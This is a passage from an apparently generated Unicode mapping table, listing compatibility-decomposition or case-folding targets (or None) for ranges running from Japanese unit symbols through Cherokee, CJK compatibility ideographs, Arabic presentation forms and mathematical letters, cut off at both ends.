"8点", - "9点", - "10点", - "11点", - "12点", - "13点", - "14点", - "15点", - "16点", - "17点", - "18点", - "19点", - "20点", - "21点", - "22点", - "23点", - "24点", - "hpa", - "da", - "au", - "bar", - "ov", - "pc", - "dm", - "dm2", - "dm3", - "iu", - "平成", - "昭和", - "大正", - "明治", - "株式会社", - "pa", - "na", - "μa", - "ma", - "ka", - "kb", - "mb", - "gb", - "cal", - "kcal", - "pf", - "nf", - "μf", - "μg", - "mg", - "kg", - "hz", - "khz", - "mhz", - "ghz", - "thz", - "μl", - "ml", - "dl", - "kl", - "fm", - "nm", - "μm", - "mm", - "cm", - "km", - "mm2", - "cm2", - "m2", - "km2", - "mm3", - "cm3", - "m3", - "km3", - "m∕s", - "m∕s2", - "pa", - "kpa", - "mpa", - "gpa", - "rad", - "rad∕s", - "rad∕s2", - "ps", - "ns", - "μs", - "ms", - "pv", - "nv", - "μv", - "mv", - "kv", - "mv", - "pw", - "nw", - "μw", - "mw", - "kw", - "mw", - "kω", - "mω", - None, - "bq", - "cc", - "cd", - "c∕kg", - None, - "db", - "gy", - "ha", - "hp", - "in", - "kk", - "km", - "kt", - "lm", - "ln", - "log", - "lx", - "mb", - "mil", - "mol", - "ph", - None, - "ppm", - "pr", - "sr", - "sv", - "wb", - "v∕m", - "a∕m", - "1日", - "2日", - "3日", - "4日", - "5日", - "6日", - "7日", - "8日", - "9日", - "10日", - "11日", - "12日", - "13日", - "14日", - "15日", - "16日", - "17日", - "18日", - "19日", - "20日", - "21日", - "22日", - "23日", - "24日", - "25日", - "26日", - "27日", - "28日", - "29日", - "30日", - "31日", - "gal", - None, - None, - None, - None, - None, - None, - "ꙁ", - None, - "ꙃ", - None, - "ꙅ", - None, - "ꙇ", - None, - "ꙉ", - None, - "ꙋ", - None, - "ꙍ", - None, - "ꙏ", - None, - "ꙑ", - None, - "ꙓ", - None, - "ꙕ", - None, - "ꙗ", - None, - "ꙙ", - None, - "ꙛ", - None, - "ꙝ", - None, - "ꙟ", - None, - "ꙡ", - None, - "ꙣ", - None, - "ꙥ", - None, - "ꙧ", - None, - "ꙩ", - None, - "ꙫ", - None, - "ꙭ", - None, - "ꚁ", - None, - "ꚃ", - None, - "ꚅ", - None, - "ꚇ", - None, - "ꚉ", - None, - "ꚋ", - None, - "ꚍ", - None, - "ꚏ", - None, - "ꚑ", - None, - "ꚓ", - None, - "ꚕ", - None, - "ꚗ", - None, - "ꚙ", - None, - "ꚛ", - None, - "ъ", - "ь", - None, - None, - None, - "ꜣ", - None, - "ꜥ", - None, - "ꜧ", - None, - "ꜩ", - None, - "ꜫ", - None, - "ꜭ", - None, - "ꜯ", - None, - "ꜳ", - None, - "ꜵ", - None, - "ꜷ", - None, - "ꜹ", - None, - "ꜻ", - None, - "ꜽ", - None, - "ꜿ", - None, - "ꝁ", - None, - "ꝃ", - None, - "ꝅ", - None, - "ꝇ", - None, - "ꝉ", - None, - "ꝋ", - None, - "ꝍ", - None, - "ꝏ", - None, - "ꝑ", - None, - "ꝓ", - None, - "ꝕ", - None, - "ꝗ", - None, - "ꝙ", - None, - "ꝛ", - None, - "ꝝ", - None, - "ꝟ", - None, - "ꝡ", - None, - "ꝣ", - None, - "ꝥ", - None, - "ꝧ", - None, - "ꝩ", - None, - "ꝫ", - None, - "ꝭ", - None, - "ꝯ", - None, - "ꝯ", - None, - "ꝺ", - None, - "ꝼ", - None, - "ᵹ", - "ꝿ", - None, - "ꞁ", - None, - "ꞃ", - None, - "ꞅ", - None, - "ꞇ", - None, - "ꞌ", - None, - "ɥ", - None, - "ꞑ", - None, - "ꞓ", - None, - "ꞗ", - None, - "ꞙ", - None, - "ꞛ", - None, - "ꞝ", - None, - "ꞟ", - None, - "ꞡ", - None, - "ꞣ", - None, - "ꞥ", - None, - "ꞧ", - None, - "ꞩ", - None, - "ɦ", - "ɜ", - "ɡ", - "ɬ", - "ɪ", - None, - "ʞ", - "ʇ", - "ʝ", - "ꭓ", - "ꞵ", - None, - "ꞷ", - None, - "ꞹ", - None, - "ꞻ", - None, - "ꞽ", - None, - "ꞿ", - None, - "ꟁ", - None, - "ꟃ", - None, - "ꞔ", - "ʂ", - "ᶎ", - "ꟈ", - None, - "ꟊ", - None, - "ɤ", - "ꟍ", - None, - "꟏", - None, - "ꟑ", - None, - "ꟓ", - None, - "ꟕ", - None, - "ꟗ", - None, - "ꟙ", - None, - "ꟛ", - None, - "ƛ", - None, - "s", - "c", - "f", - "q", - "ꟶ", - None, - "ħ", - "œ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ꜧ", - "ꬷ", - "ɫ", - "ꭒ", - None, - "ʍ", - None, - None, - "Ꭰ", - "Ꭱ", - "Ꭲ", - "Ꭳ", - "Ꭴ", - "Ꭵ", - "Ꭶ", - "Ꭷ", - "Ꭸ", - "Ꭹ", - "Ꭺ", - "Ꭻ", - "Ꭼ", - "Ꭽ", - "Ꭾ", - "Ꭿ", - "Ꮀ", - "Ꮁ", - "Ꮂ", - "Ꮃ", - "Ꮄ", - "Ꮅ", - "Ꮆ", - "Ꮇ", - "Ꮈ", - "Ꮉ", - "Ꮊ", - "Ꮋ", - "Ꮌ", - "Ꮍ", - "Ꮎ", - "Ꮏ", - "Ꮐ", - "Ꮑ", - "Ꮒ", - "Ꮓ", - "Ꮔ", - "Ꮕ", - "Ꮖ", - "Ꮗ", - "Ꮘ", - "Ꮙ", - "Ꮚ", - "Ꮛ", - "Ꮜ", - "Ꮝ", - "Ꮞ", - "Ꮟ", - "Ꮠ", - "Ꮡ", - "Ꮢ", - "Ꮣ", - "Ꮤ", - "Ꮥ", - "Ꮦ", - "Ꮧ", - "Ꮨ", - "Ꮩ", - "Ꮪ", - "Ꮫ", - "Ꮬ", - "Ꮭ", - "Ꮮ", - "Ꮯ", - "Ꮰ", - "Ꮱ", - "Ꮲ", - "Ꮳ", - "Ꮴ", - "Ꮵ", - "Ꮶ", - "Ꮷ", - "Ꮸ", - "Ꮹ", - "Ꮺ", - "Ꮻ", - "Ꮼ", - "Ꮽ", - "Ꮾ", - "Ꮿ", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "豈", - "更", - "車", - "賈", - "滑", - "串", - "句", - "龜", - "契", - "金", - "喇", - "奈", - "懶", - "癩", - "羅", - "蘿", - "螺", - "裸", - "邏", - "樂", - "洛", - "烙", - "珞", - "落", - "酪", - "駱", - "亂", - "卵", - "欄", - "爛", - "蘭", - "鸞", - "嵐", - "濫", - "藍", - "襤", - "拉", - "臘", - "蠟", - "廊", - "朗", - "浪", - "狼", - "郎", - "來", - "冷", - "勞", - "擄", - "櫓", - "爐", - "盧", - "老", - "蘆", - "虜", - "路", - "露", - "魯", - "鷺", - "碌", - "祿", - "綠", - "菉", - "錄", - "鹿", - "論", - "壟", - "弄", - "籠", - "聾", - "牢", - "磊", - "賂", - "雷", - "壘", - "屢", - "樓", - "淚", - "漏", - "累", - "縷", - "陋", - "勒", - "肋", - "凜", - "凌", - "稜", - "綾", - "菱", - "陵", - "讀", - "拏", - "樂", - "諾", - "丹", - "寧", - "怒", - "率", - "異", - "北", - "磻", - "便", - "復", - "不", - "泌", - "數", - "索", - "參", - "塞", - "省", - "葉", - "說", - "殺", - "辰", - "沈", - "拾", - "若", - "掠", - "略", - "亮", - "兩", - "凉", - "梁", - "糧", - "良", - "諒", - "量", - "勵", - "呂", - "女", - "廬", - "旅", - "濾", - "礪", - "閭", - "驪", - "麗", - "黎", - "力", - "曆", - "歷", - "轢", - "年", - "憐", - "戀", - "撚", - "漣", - "煉", - "璉", - "秊", - "練", - "聯", - "輦", - "蓮", - "連", - "鍊", - "列", - "劣", - "咽", - "烈", - "裂", - "說", - "廉", - "念", - "捻", - "殮", - "簾", - "獵", - "令", - "囹", - "寧", - "嶺", - "怜", - "玲", - "瑩", - "羚", - "聆", - "鈴", - "零", - "靈", - "領", - "例", - "禮", - "醴", - "隸", - "惡", - "了", - "僚", - "寮", - "尿", - "料", - "樂", - "燎", - "療", - "蓼", - "遼", - "龍", - "暈", - "阮", - "劉", - "杻", - "柳", - "流", - "溜", - "琉", - "留", - "硫", - "紐", - "類", - "六", - "戮", - "陸", - "倫", - "崙", - "淪", - "輪", - "律", - "慄", - "栗", - "率", - "隆", - "利", - "吏", - "履", - "易", - "李", - "梨", - "泥", - "理", - "痢", - "罹", - "裏", - "裡", - "里", - "離", - "匿", - "溺", - "吝", - "燐", - "璘", - "藺", - "隣", - "鱗", - "麟", - "林", - "淋", - "臨", - "立", - "笠", - "粒", - "狀", - "炙", - "識", - "什", - "茶", - "刺", - "切", - "度", - "拓", - "糖", - "宅", - "洞", - "暴", - "輻", - "行", - "降", - "見", - "廓", - "兀", - "嗀", - None, - "塚", - None, - "晴", - None, - "凞", - "猪", - "益", - "礼", - "神", - "祥", - "福", - "靖", - "精", - "羽", - None, - "蘒", - None, - "諸", - None, - "逸", - "都", - None, - "飯", - "飼", - "館", - "鶴", - "郞", - "隷", - "侮", - "僧", - "免", - "勉", - "勤", - "卑", - "喝", - "嘆", - "器", - "塀", - "墨", - "層", - "屮", - "悔", - "慨", - "憎", - "懲", - "敏", - "既", - "暑", - "梅", - "海", - "渚", - "漢", - "煮", - "爫", - "琢", - "碑", - "社", - "祉", - "祈", - "祐", - "祖", - "祝", - "禍", - "禎", - "穀", - "突", - "節", - "練", - "縉", - "繁", - "署", - "者", - "臭", - "艹", - "著", - "褐", - "視", - "謁", - "謹", - "賓", - "贈", - "辶", - "逸", - "難", - "響", - "頻", - "恵", - "𤋮", - "舘", - None, - "並", - "况", - "全", - "侀", - "充", - "冀", - "勇", - "勺", - "喝", - "啕", - "喙", - "嗢", - "塚", - "墳", - "奄", - "奔", - "婢", - "嬨", - "廒", - "廙", - "彩", - "徭", - "惘", - "慎", - "愈", - "憎", - "慠", - "懲", - "戴", - "揄", - "搜", - "摒", - "敖", - "晴", - "朗", - "望", - "杖", - "歹", - "殺", - "流", - "滛", - "滋", - "漢", - "瀞", - "煮", - "瞧", - "爵", - "犯", - "猪", - "瑱", - "甆", - "画", - "瘝", - "瘟", - "益", - "盛", - "直", - "睊", - "着", - "磌", - "窱", - "節", - "类", - "絛", - "練", - "缾", - "者", - "荒", - "華", - "蝹", - "襁", - "覆", - "視", - "調", - "諸", - "請", - "謁", - "諾", - "諭", - "謹", - "變", - "贈", - "輸", - "遲", - "醙", - "鉶", - "陼", - "難", - "靖", - "韛", - "響", - "頋", - "頻", - "鬒", - "龜", - "𢡊", - "𢡄", - "𣏕", - "㮝", - "䀘", - "䀹", - "𥉉", - "𥳐", - "𧻓", - "齃", - "龎", - None, - "ff", - "fi", - "fl", - "ffi", - "ffl", - "st", - None, - "մն", - "մե", - "մի", - "վն", - "մխ", - None, - "יִ", - None, - "ײַ", - "ע", - "א", - "ד", - "ה", - "כ", - "ל", - "ם", - "ר", - "ת", - "+", - "שׁ", - "שׂ", - "שּׁ", - "שּׂ", - "אַ", - "אָ", - "אּ", - "בּ", - "גּ", - "דּ", - "הּ", - "וּ", - "זּ", - None, - "טּ", - "יּ", - "ךּ", - "כּ", - "לּ", - None, - "מּ", - None, - "נּ", - "סּ", - None, - "ףּ", - "פּ", - None, - "צּ", - "קּ", - "רּ", - "שּ", - "תּ", - "וֹ", - "בֿ", - "כֿ", - "פֿ", - "אל", - "ٱ", - "ٻ", - "پ", - "ڀ", - "ٺ", - "ٿ", - "ٹ", - "ڤ", - "ڦ", - "ڄ", - "ڃ", - "چ", - "ڇ", - "ڍ", - "ڌ", - "ڎ", - "ڈ", - "ژ", - "ڑ", - "ک", - "گ", - "ڳ", - "ڱ", - "ں", - "ڻ", - "ۀ", - "ہ", - "ھ", - "ے", - "ۓ", - None, - "ڭ", - "ۇ", - "ۆ", - "ۈ", - "ۇٴ", - "ۋ", - "ۅ", - "ۉ", - "ې", - "ى", - "ئا", - "ئە", - "ئو", - "ئۇ", - "ئۆ", - "ئۈ", - "ئې", - "ئى", - "ی", - "ئج", - "ئح", - "ئم", - "ئى", - "ئي", - "بج", - "بح", - "بخ", - "بم", - "بى", - "بي", - "تج", - "تح", - "تخ", - "تم", - "تى", - "تي", - "ثج", - "ثم", - "ثى", - "ثي", - "جح", - "جم", - "حج", - "حم", - "خج", - "خح", - "خم", - "سج", - "سح", - "سخ", - "سم", - "صح", - "صم", - "ضج", - "ضح", - "ضخ", - "ضم", - "طح", - "طم", - "ظم", - "عج", - "عم", - "غج", - "غم", - "فج", - "فح", - "فخ", - "فم", - "فى", - "في", - "قح", - "قم", - "قى", - "قي", - "كا", - "كج", - "كح", - "كخ", - "كل", - "كم", - "كى", - "كي", - "لج", - "لح", - "لخ", - "لم", - "لى", - "لي", - "مج", - "مح", - "مخ", - "مم", - "مى", - "مي", - "نج", - "نح", - "نخ", - "نم", - "نى", - "ني", - "هج", - "هم", - "هى", - "هي", - "يج", - "يح", - "يخ", - "يم", - "يى", - "يي", - "ذٰ", - "رٰ", - "ىٰ", - " ٌّ", - " ٍّ", - " َّ", - " ُّ", - " ِّ", - " ّٰ", - "ئر", - "ئز", - "ئم", - "ئن", - "ئى", - "ئي", - "بر", - "بز", - "بم", - "بن", - "بى", - "بي", - "تر", - "تز", - "تم", - "تن", - "تى", - "تي", - "ثر", - "ثز", - "ثم", - "ثن", - "ثى", - "ثي", - "فى", - "في", - "قى", - "قي", - "كا", - "كل", - "كم", - "كى", - "كي", - "لم", - "لى", - "لي", - "ما", - "مم", - "نر", - "نز", - "نم", - "نن", - "نى", - "ني", - "ىٰ", - "ير", - "يز", - "يم", - "ين", - "يى", - "يي", - "ئج", - "ئح", - "ئخ", - "ئم", - "ئه", - "بج", - "بح", - "بخ", - "بم", - "به", - "تج", - "تح", - "تخ", - "تم", - "ته", - "ثم", - "جح", - "جم", - "حج", - "حم", - "خج", - "خم", - "سج", - "سح", - "سخ", - "سم", - "صح", - "صخ", - "صم", - "ضج", - "ضح", - "ضخ", - "ضم", - "طح", - "ظم", - "عج", - "عم", - "غج", - "غم", - "فج", - "فح", - "فخ", - "فم", - "قح", - "قم", - "كج", - "كح", - "كخ", - "كل", - "كم", - "لج", - "لح", - "لخ", - "لم", - "له", - "مج", - "مح", - "مخ", - "مم", - "نج", - "نح", - "نخ", - "نم", - "نه", - "هج", - "هم", - "هٰ", - "يج", - "يح", - "يخ", - "يم", - "يه", - "ئم", - "ئه", - "بم", - "به", - "تم", - "ته", - "ثم", - "ثه", - "سم", - "سه", - "شم", - "شه", - "كل", - "كم", - "لم", - "نم", - "نه", - "يم", - "يه", - "ـَّ", - "ـُّ", - "ـِّ", - "طى", - "طي", - "عى", - "عي", - "غى", - "غي", - "سى", - "سي", - "شى", - "شي", - "حى", - "حي", - "جى", - "جي", - "خى", - "خي", - "صى", - "صي", - "ضى", - "ضي", - "شج", - "شح", - "شخ", - "شم", - "شر", - "سر", - "صر", - "ضر", - "طى", - "طي", - "عى", - "عي", - "غى", - "غي", - "سى", - "سي", - "شى", - "شي", - "حى", - "حي", - "جى", - "جي", - "خى", - "خي", - "صى", - "صي", - "ضى", - "ضي", - "شج", - "شح", - "شخ", - "شم", - "شر", - "سر", - "صر", - "ضر", - "شج", - "شح", - "شخ", - "شم", - "سه", - "شه", - "طم", - "سج", - "سح", - "سخ", - "شج", - "شح", - "شخ", - "طم", - "ظم", - "اً", - None, - "تجم", - "تحج", - "تحم", - "تخم", - "تمج", - "تمح", - "تمخ", - "جمح", - "حمي", - "حمى", - "سحج", - "سجح", - "سجى", - "سمح", - "سمج", - "سمم", - "صحح", - "صمم", - "شحم", - "شجي", - "شمخ", - "شمم", - "ضحى", - "ضخم", - "طمح", - "طمم", - "طمي", - "عجم", - "عمم", - "عمى", - "غمم", - "غمي", - "غمى", - "فخم", - "قمح", - "قمم", - "لحم", - "لحي", - "لحى", - "لجج", - "لخم", - "لمح", - "محج", - "محم", - "محي", - "مجح", - "مجم", - "مخج", - "مخم", - None, - "مجخ", - "همج", - "همم", - "نحم", - "نحى", - "نجم", - "نجى", - "نمي", - "نمى", - "يمم", - "بخي", - "تجي", - "تجى", - "تخي", - "تخى", - "تمي", - "تمى", - "جمي", - "جحى", - "جمى", - "سخى", - "صحي", - "شحي", - "ضحي", - "لجي", - "لمي", - "يحي", - "يجي", - "يمي", - "ممي", - "قمي", - "نحي", - "قمح", - "لحم", - "عمي", - "كمي", - "نجح", - "مخي", - "لجم", - "كمم", - "لجم", - "نجح", - "جحي", - "حجي", - "مجي", - "فمي", - "بحي", - "كمم", - "عجم", - "صمم", - "سخي", - "نجي", - None, - None, - "صلے", - "قلے", - "الله", - "اكبر", - "محمد", - "صلعم", - "رسول", - "عليه", - "وسلم", - "صلى", - "صلى الله عليه وسلم", - "جل جلاله", - "ریال", - None, - None, - ",", - "、", - None, - ":", - ";", - "!", - "?", - "〖", - "〗", - None, - None, - None, - "—", - "–", - "_", - "(", - ")", - "{", - "}", - "〔", - "〕", - "【", - "】", - "《", - "》", - "〈", - "〉", - "「", - "」", - "『", - "』", - None, - "[", - "]", - " ̅", - "_", - ",", - "、", - None, - ";", - ":", - "?", - "!", - "—", - "(", - ")", - "{", - "}", - "〔", - "〕", - "#", - "&", - "*", - "+", - "-", - "<", - ">", - "=", - None, - "\\", - "$", - "%", - "@", - None, - " ً", - "ـً", - " ٌ", - None, - " ٍ", - None, - " َ", - "ـَ", - " ُ", - "ـُ", - " ِ", - "ـِ", - " ّ", - "ـّ", - " ْ", - "ـْ", - "ء", - "آ", - "أ", - "ؤ", - "إ", - "ئ", - "ا", - "ب", - "ة", - "ت", - "ث", - "ج", - "ح", - "خ", - "د", - "ذ", - "ر", - "ز", - "س", - "ش", - "ص", - "ض", - "ط", - "ظ", - "ع", - "غ", - "ف", - "ق", - "ك", - "ل", - "م", - "ن", - "ه", - "و", - "ى", - "ي", - "لآ", - "لأ", - "لإ", - "لا", - None, - None, - None, - "!", - '"', - "#", - "$", - "%", - "&", - "'", - "(", - ")", - "*", - "+", - ",", - "-", - ".", - "/", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - ":", - ";", - "<", - "=", - ">", - "?", - "@", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "[", - "\\", - "]", - "^", - "_", - "`", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "{", - "|", - "}", - "~", - "⦅", - "⦆", - ".", - "「", - "」", - "、", - "・", - "ヲ", - "ァ", - "ィ", - "ゥ", - "ェ", - "ォ", - "ャ", - "ュ", - "ョ", - "ッ", - "ー", - "ア", - "イ", - "ウ", - "エ", - "オ", - "カ", - "キ", - "ク", - "ケ", - "コ", - "サ", - "シ", - "ス", - "セ", - "ソ", - "タ", - "チ", - "ツ", - "テ", - "ト", - "ナ", - "ニ", - "ヌ", - "ネ", - "ノ", - "ハ", - "ヒ", - "フ", - "ヘ", - "ホ", - "マ", - "ミ", - "ム", - "メ", - "モ", - "ヤ", - "ユ", - "ヨ", - "ラ", - "リ", - "ル", - "レ", - "ロ", - "ワ", - "ン", - "゙", - "゚", - None, - "ᄀ", - "ᄁ", - "ᆪ", - "ᄂ", - "ᆬ", - "ᆭ", - "ᄃ", - "ᄄ", - "ᄅ", - "ᆰ", - "ᆱ", - "ᆲ", - "ᆳ", - "ᆴ", - "ᆵ", - "ᄚ", - "ᄆ", - "ᄇ", - "ᄈ", - "ᄡ", - "ᄉ", - "ᄊ", - "ᄋ", - "ᄌ", - "ᄍ", - "ᄎ", - "ᄏ", - "ᄐ", - "ᄑ", - "ᄒ", - None, - "ᅡ", - "ᅢ", - "ᅣ", - "ᅤ", - "ᅥ", - "ᅦ", - None, - "ᅧ", - "ᅨ", - "ᅩ", - "ᅪ", - "ᅫ", - "ᅬ", - None, - "ᅭ", - "ᅮ", - "ᅯ", - "ᅰ", - "ᅱ", - "ᅲ", - None, - "ᅳ", - "ᅴ", - "ᅵ", - None, - "¢", - "£", - "¬", - " ̄", - "¦", - "¥", - "₩", - None, - "│", - "←", - "↑", - "→", - "↓", - "■", - "○", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "𐐨", - "𐐩", - "𐐪", - "𐐫", - "𐐬", - "𐐭", - "𐐮", - "𐐯", - "𐐰", - "𐐱", - "𐐲", - "𐐳", - "𐐴", - "𐐵", - "𐐶", - "𐐷", - "𐐸", - "𐐹", - "𐐺", - "𐐻", - "𐐼", - "𐐽", - "𐐾", - "𐐿", - "𐑀", - "𐑁", - "𐑂", - "𐑃", - "𐑄", - "𐑅", - "𐑆", - "𐑇", - "𐑈", - "𐑉", - "𐑊", - "𐑋", - "𐑌", - "𐑍", - "𐑎", - "𐑏", - None, - None, - None, - None, - "𐓘", - "𐓙", - "𐓚", - "𐓛", - "𐓜", - "𐓝", - "𐓞", - "𐓟", - "𐓠", - "𐓡", - "𐓢", - "𐓣", - "𐓤", - "𐓥", - "𐓦", - "𐓧", - "𐓨", - "𐓩", - "𐓪", - "𐓫", - "𐓬", - "𐓭", - "𐓮", - "𐓯", - "𐓰", - "𐓱", - "𐓲", - "𐓳", - "𐓴", - "𐓵", - "𐓶", - "𐓷", - "𐓸", - "𐓹", - "𐓺", - "𐓻", - None, - None, - None, - None, - None, - None, - None, - None, - "𐖗", - "𐖘", - "𐖙", - "𐖚", - "𐖛", - "𐖜", - "𐖝", - "𐖞", - "𐖟", - "𐖠", - "𐖡", - None, - "𐖣", - "𐖤", - "𐖥", - "𐖦", - "𐖧", - "𐖨", - "𐖩", - "𐖪", - "𐖫", - "𐖬", - "𐖭", - "𐖮", - "𐖯", - "𐖰", - "𐖱", - None, - "𐖳", - "𐖴", - "𐖵", - "𐖶", - "𐖷", - "𐖸", - "𐖹", - None, - "𐖻", - "𐖼", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "ː", - "ˑ", - "æ", - "ʙ", - "ɓ", - None, - "ʣ", - "ꭦ", - "ʥ", - "ʤ", - "ɖ", - "ɗ", - "ᶑ", - "ɘ", - "ɞ", - "ʩ", - "ɤ", - "ɢ", - "ɠ", - "ʛ", - "ħ", - "ʜ", - "ɧ", - "ʄ", - "ʪ", - "ʫ", - "ɬ", - "𝼄", - "ꞎ", - "ɮ", - "𝼅", - "ʎ", - "𝼆", - "ø", - "ɶ", - "ɷ", - "q", - "ɺ", - "𝼈", - "ɽ", - "ɾ", - "ʀ", - "ʨ", - "ʦ", - "ꭧ", - "ʧ", - "ʈ", - "ⱱ", - None, - "ʏ", - "ʡ", - "ʢ", - "ʘ", - "ǀ", - "ǁ", - "ǂ", - "𝼊", - "𝼞", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "𐳀", - "𐳁", - "𐳂", - "𐳃", - "𐳄", - "𐳅", - "𐳆", - "𐳇", - "𐳈", - "𐳉", - "𐳊", - "𐳋", - "𐳌", - "𐳍", - "𐳎", - "𐳏", - "𐳐", - "𐳑", - "𐳒", - "𐳓", - "𐳔", - "𐳕", - "𐳖", - "𐳗", - "𐳘", - "𐳙", - "𐳚", - "𐳛", - "𐳜", - "𐳝", - "𐳞", - "𐳟", - "𐳠", - "𐳡", - "𐳢", - "𐳣", - "𐳤", - "𐳥", - "𐳦", - "𐳧", - "𐳨", - "𐳩", - "𐳪", - "𐳫", - "𐳬", - "𐳭", - "𐳮", - "𐳯", - "𐳰", - "𐳱", - "𐳲", - None, - None, - None, - None, - None, - None, - None, - None, - "𐵰", - "𐵱", - "𐵲", - "𐵳", - "𐵴", - "𐵵", - "𐵶", - "𐵷", - "𐵸", - "𐵹", - "𐵺", - "𐵻", - "𐵼", - "𐵽", - "𐵾", - "𐵿", - "𐶀", - "𐶁", - "𐶂", - "𐶃", - "𐶄", - "𐶅", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "𑣀", - "𑣁", - "𑣂", - "𑣃", - "𑣄", - "𑣅", - "𑣆", - "𑣇", - "𑣈", - "𑣉", - "𑣊", - "𑣋", - "𑣌", - "𑣍", - "𑣎", - "𑣏", - "𑣐", - "𑣑", - "𑣒", - "𑣓", - "𑣔", - "𑣕", - "𑣖", - "𑣗", - "𑣘", - "𑣙", - "𑣚", - "𑣛", - "𑣜", - "𑣝", - "𑣞", - "𑣟", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "𖹠", - "𖹡", - "𖹢", - "𖹣", - "𖹤", - "𖹥", - "𖹦", - "𖹧", - "𖹨", - "𖹩", - "𖹪", - "𖹫", - "𖹬", - "𖹭", - "𖹮", - "𖹯", - "𖹰", - "𖹱", - "𖹲", - "𖹳", - "𖹴", - "𖹵", - "𖹶", - "𖹷", - "𖹸", - "𖹹", - "𖹺", - "𖹻", - "𖹼", - "𖹽", - "𖹾", - "𖹿", - None, - None, - "𖺻", - "𖺼", - "𖺽", - "𖺾", - "𖺿", - "𖻀", - "𖻁", - "𖻂", - "𖻃", - "𖻄", - "𖻅", - "𖻆", - "𖻇", - "𖻈", - "𖻉", - "𖻊", - "𖻋", - "𖻌", - "𖻍", - "𖻎", - "𖻏", - "𖻐", - "𖻑", - "𖻒", - "𖻓", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "0", - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "𝅗𝅥", - "𝅘𝅥", - "𝅘𝅥𝅮", - "𝅘𝅥𝅯", - "𝅘𝅥𝅰", - "𝅘𝅥𝅱", - "𝅘𝅥𝅲", - None, - None, - None, - "𝆹𝅥", - "𝆺𝅥", - "𝆹𝅥𝅮", - "𝆺𝅥𝅮", - "𝆹𝅥𝅯", - "𝆺𝅥𝅯", - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - None, - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - None, - "i", - "j", - "k", - "l", - "m", - "n", - "o", - "p", - "q", - "r", - "s", - "t", - "u", - "v", - "w", - "x", - "y", - "z", - "a", - "b", - "c", - "d", - "e", - "f", - "g", - "h", - "i", - 